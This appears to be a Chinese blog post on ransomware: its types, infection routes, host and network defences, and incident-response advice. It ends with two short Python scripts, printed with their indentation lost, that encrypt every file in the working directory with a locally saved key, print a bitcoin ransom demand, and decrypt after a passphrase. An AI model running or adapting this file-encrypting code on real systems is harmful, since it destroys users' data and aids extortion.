勒索软件

勒索软件

  • 文件加密
  • 解密
  • 出钱

OIP-C

勒索软件的类型

根据勒索软件对受害者系统采取的措施,主要可以分为以下几类:

  • 绑架用户数据

    使用加密算法(如AES、RSA等)将用户的文件进行加密,用户在没有秘钥的情况下无法操作自己的文件。用户可以访问设备,但是对设备内的数据无法操作。

    典型勒索软件有:WannaCry、GlobeImposter、CryptoLocker,TeslaCrypt等。

  • 锁定用户设备

    不加密用户的文件,但是通过修改一些配置或者系统文件,使得用户无法进入设备。

    典型勒索软件有:NotPetya等。

  • 锁定用户设备和绑架数据

    既加密用户文件,又锁住用户设备。是1和2的结合体。

    典型勒索软件有:BadRabbit等。

勒索软件的入侵方式

  1. 网络共享文件

    一些小范围传播的敲诈勒索病毒会通过共享文件的方式进行传播,黑客会将病毒上传到网络共享空间、云盘、QQ群、BBS论坛等,以分享的方式发送给特定人群,进而诱骗其下载安装。

    此外,不法黑客还常会编造出“杀毒软件会产生误报,运行之前需要退出杀毒软件”之类的理由,诱骗受害者关闭杀毒软件后运行。

    典型代表有:暂时主要为国产勒索类病毒通过外挂辅助,“绿色”软件类工具携带。

  2. 捆绑传播

    勒索软件与正常合法软件一起捆绑发布在各大下载网站或者论坛,当用户下载该软件后便会中招。

  3. 垃圾邮件

    这是勒索软件最为广泛的攻击方式。

    • 利用社会工程学方法,发送假冒的电子邮件,将恶意脚本/程序掩盖为普通的文件,欺骗受害者下载、运行。

    • 利用一些僵尸网络,更能增加欺骗的概率。如GameOverZeus僵尸网络,会使用MITB技术窃取银行凭证,通过该僵尸网络来分发钓鱼邮件,受害者非常容易相信。该僵尸网络被CrytoLocker等勒索软件利用来分发钓鱼邮件。

    典型代表有:Locky、Cerber、GlobeImposter、CrytoLocker等。

  4. 水坑攻击

    勒索者利用有价值、有权威或访问量较大网站的缺陷植入恶意代码,当受害者访问该网址,或者下载相关文件时便会中招。

    典型代表有:Cerber、GandCrab等。

  5. 软件供应链传播

    勒索软件制作者通过入侵软件开发、分发、升级服务等环节,在软件开发过程中,就会在产品组件中混入病毒,通过入侵、劫持软件下载站、升级服务器,当用户正常进行软件安装或升级服务时勒索病毒趁虚而入。这种传播方式利用了用户与软件供应商之间的信任关系,成功绕开了传统安全产品的围追堵截,传播方式上更加隐蔽,危害也更为严重。此前侵袭全球的Petya勒索病毒便是通过劫持Medoc软件更新服务进行传播。

    典型代表有:Petya等。

  6. 暴力破解

    (定向攻击)

    针对服务器、个人用户或特定目标,通过使用弱口令、渗透、漏洞等方式获取相应权限。例如NotPetya会对口令进行暴力破解然后在局域网内传播。

    典型代表有:NotPetya、Crysis、GlobeImposter等。

  7. 利用已知漏洞攻击

    利用系统或者第三方软件存在的漏洞实施攻击。例如WannaCry便利用了SMBV1的一组漏洞进行攻击和传播。

    典型代表有:WannaCry、Satan等

  8. 利用高危端口攻击

    利用一些端口的业务机制,找到端口的漏洞,进行攻击。如WannaCry利用Windows操作系统445端口存在的漏洞进行传播,并具有自我复制、主动传播的特性。常见的高危端口有135、139、445、3389、5800/5900等。建议尽量关闭此类端口。

    典型代表有:WannaCry等。

  9. 以上几种的组合联合攻击

    通常来说,勒索软件不会只采取一种方式来进行攻击和传播,通常会是几种的组合。

如何防御勒索软件

阻止勒索软件攻击最有效的办法是防止攻击进入组织内部。

主机侧防护

首先,推荐通过组织级的IT基础设施方案来统一设置主机。通过AD服务器的组策略、企业级杀毒软件的控制中心等,可以保证安全措施执行到位,而不必依赖员工个人的执行力。

其次是针对员工的信息安全教育。很多勒索软件使用电子邮件和社会工程手段,诱使员工下载恶意软件,或访问恶意网址。员工不为所动,就能避免激活携带的攻击媒介。通过信息安全宣传,培训员工养成良好的办公习惯,识别和防范典型的攻击手法,是避免勒索软件攻击的有效手段

以下列出了主要的主机侧防护措施,其中大部分可以通过IT基础设施方案来统一管理。对于没有完善IT系统的小微企业,可以把这些措施转化为信息安全教育的内容,指导员工自行配置。相关措施包括但不局限于:

  • 开启系统防火墙,利用防火墙阻止特定端口的连接,或者禁用特定端口。
  • 升级最新的杀毒软件,或者部署专杀工具。
  • 更新补丁,修复勒索软件所利用的含漏洞软件。
  • 各项登录、鉴权操作的用户名、密码复杂度要符合要求。
  • 设置帐户锁定策略。
  • 阻止宏自动运行,谨慎启用宏。
  • 仅从指定位置下载软件。
  • 不要打开来源不明邮件的附件和链接。
  • 定期做好异地备份,这是系统被感染后数据尽快恢复的最好手段,以勒索软件的套路,即使交付赎金,也不一定保证本地数据会被解密。
  • 在Windows文件夹中设置显示“文件扩展名”,可以更轻易地发现潜在的恶意文件。

详细的主机侧防护措施请参见勒索软件防护指南>主机侧防护

网络侧防护

防御勒索软件攻击的关键在于预防,即在勒索软件进入组织并造成实质性损坏之前,拦截攻击。 最佳方法是设置以防火墙为基础的多层安全防御体系,避免攻击者突破一层防御之后长驱直入。严格的安全策略是最简单有效的防护手段;仅对外开放必需的服务,封堵高危端口,可以减小暴露面(攻击面)。阻断已知威胁,通常可以使攻击者放弃攻击,否则攻击者就需要创建新的勒索软件,或者利用新的漏洞,其成本必然增加。同时,启用文件过滤,可以限制高风险类型文件进入网络;利用URL过滤阻断恶意网站,可以避免用户无意中下载恶意软件。在安全性要求较高的网络中,还可以部署FireHunter沙箱、HiSec Insight、诱捕系统,全面感知安全态势。

针对勒索软件在网络侧的防护,华为通过如下分层防御体系进行防护:

  1. 通过在防护墙上部署严格的安全策略,限制用户对网络和应用的使用。

    • 南北向安全策略:在网络边界处,设置严格的网络访问策略,仅对外开放必需的服务,且仅允许受信任IP地址/用户访问必要的服务。
    • 东西向安全策略:把内部网络按照功能和风险等级划分到不同的安全区域,在不同功能网络间设置严格的安全策略。建议阻断高危端口(包括135、137、138、139、445、3389等)或限制可访问的用户,降低勒索软件横向扩散的可能性。在交换机和路由器等网络设备上,也可以利用流策略封堵高危端口。
  2. 通过

    IPS

    、AV、URL,发现和阻断已知威胁。

    • IPS入侵防御:在安全策略中引用IPS配置文件,确保如下暴力破解和漏洞利用签名的动作为阻断。如果签名的缺省动作不是阻断,可以设置例外签名,修改其动作为阻断。
    • AV反病毒:对于文件传输协议(HTTP、FTP)和共享协议(NFS、SMB),采用缺省动作。对于邮件协议,建议动作设置为宣告或删除附件。防火墙将在邮件中添加提示信息,提醒收件人附件中可能含有病毒
    • URL过滤:推荐使用白名单机制,根据组织业务需求,圈定业务需求所需的网站类型。如果采用白名单机制有困难,则至少要阻断恶意网站、其他类。同时,启用恶意URL检测功能。
  3. 通过沙箱联动,发现未知威胁。

    防火墙将流量还原成文件,并将需要检测的文件发送到沙箱进行检测。防火墙定期到沙箱上查询检测结果,并根据检测结果更新设备缓存中的恶意文件和恶意URL列表。当具有相同特征的后续流量命中恶意文件或恶意URL列表时,防火墙将直接阻断。

  4. 通过HiSec Insight、诱捕,避免横向扩散。

    部署HiSec Insight和支持诱捕特性的交换机和防火墙。诱导勒索病毒入侵仿真业务并捕获其入侵行为,上报检测结果至HiSec Insight,HiSec Insight可全网下发策略阻断勒索病毒传播。诱捕系统有助于降低真实系统被攻击的概率,最大限度减少损失。

  5. 部署日志审计系统,用于调查取证和攻击溯源。

    日志审计系统可以集中存储和管理网络设备和服务器的日志信息,便于监控和事后分析。此外,攻击者还可能会加密或者删除主机日志,部署日志审计系统可以规避此问题。

关于详细的操作指导,请参见勒索软件防护指南>网络侧防护

如何处置勒索软件

如果不幸被勒索,请按照如下建议处理。

img

  1. 不要急于为勒索软件支付赎金。支付赎金相当于鼓励网络犯罪,并且并不能保证能够恢复被加密的文件。
  2. 严格来说,加密型勒索软件不可破解。因勒索软件本身设计的问题,或者黑客组织公布了解密密钥(如Shade),存在一定的解密可能性。
  3. 如果被加密的数据相当重要或者极其敏感,且该勒索软件尚无解密方案,也请在确认网络犯罪分子确实可以解密后,再决定是否支付赎金。

常见的勒索软件处置建议,相关措施包括但不局限于:

  1. 隔离被勒索的设备

    拔掉网线或者修改网络连接设置,从网络中隔离所有被勒索的设备,防止勒索软件进一步传播,控制影响范围。同时排查受影响的主机数量,记录问题现象。

    关闭其他未感染主机的高危端口。在局域网内其它未感染设备上,关闭常见的高危端口(包括135、139、445、3389等),或设置可访问此端口的用户/计算机。

  2. 清除勒索软件

    尝试使用杀毒软件扫描和清除勒索软件。请重启操作系统,进入安全模式,安装/杀毒软件并全盘扫描。

    勒索软件搜索文件并加密需要一定的时间,及早清理勒索软件可以降低其危害程度,也能避免它重复锁定系统或加密文件。

  3. 解密

    保护现场。不要直接重新安装操作系统。如果被加密锁定数据比较重要,建议做好被加密文件的备份和环境的保护,防止因为环境破坏造成无法解密等。

    访问“No More Ransom”网站,使用解码刑警(Crypto Sheriff)确定勒索软件的类型,并检查是否有可用的解密方案,有机会破解并恢复文件。

  4. 调查取证

    求助专业技术人员进行取证操作,以便分析勒索软件的攻击路径,对攻击路径进行溯源。

    在操作系统的事件查看器中,查看安全日志,重点关注登录失败事件。在网络设备中查看安全日志、会话日志,重点关注暴力破解、SMB等重大漏洞攻击事件。

    确定中毒原因,彻底修复系统中存在的安全问题,避免再次沦陷。

  5. 重装系统

    最后的最后,如果勒索软件无法移除、被加密数据不可恢复,请备份被加密数据(或许未来有恢复的可能),然后格式化硬盘驱动器,擦除所有数据(包括受感染的数据),重新安装操作系统和应用程序。

利用python实现简单的勒索软件

加密方式

  • md5加密->解密
  • base64对称加密 aes(密钥就一个) 非对称加密 rsa(公钥,私钥)

1,路径

2,拿到所有的文件

3,加密所有文件

4,替换所有文件

需要下载cryptography插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#decrypto.py
import os
from cryptography.fernet import Fernet

files = []

for file in os.listdir():
if file == 'ransomware.py' or file == 'thekey.key' or file == 'decrypto.py':
continue
if os.path.isfile(file):
files.append(file)
print(files)

with open('thekey.key','rb') as key:
secretkey = key.read()

sercretphrease = '我爱你'
user_phrase = input('请输入暗号来解密您的文件:')

if user_phrase == sercretphrease:
for file in files:
with open(file,'rb') as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
print('解密后的结果:',contents_decrypted)
with open(file,'wb') as thefile:
thefile.write(contents_decrypted)
print('恭喜您已经解密. 好好爱他')
else:
print('对比起,输入有误。给钱')



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#ransomware.py
import os
from cryptography.fernet import Fernet

files = []

for file in os.listdir():
if file == 'ransomware.py' or file == 'thekey.key' or file == 'decrypto.py':
continue
if os.path.isfile(file):
files.append(file)
print(files)

key = Fernet.generate_key()

with open('thekey.key','wb') as thekey:
thekey.write(key)

for file in files:
with open(file,'rb') as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
# print('加密后的结果是: ',contents_encrypted)
with open(file,'wb') as thefile:
thefile.write(contents_encrypted)

print('在24小时给我发送xxx 马来,还是比特币吧,既可获得密码')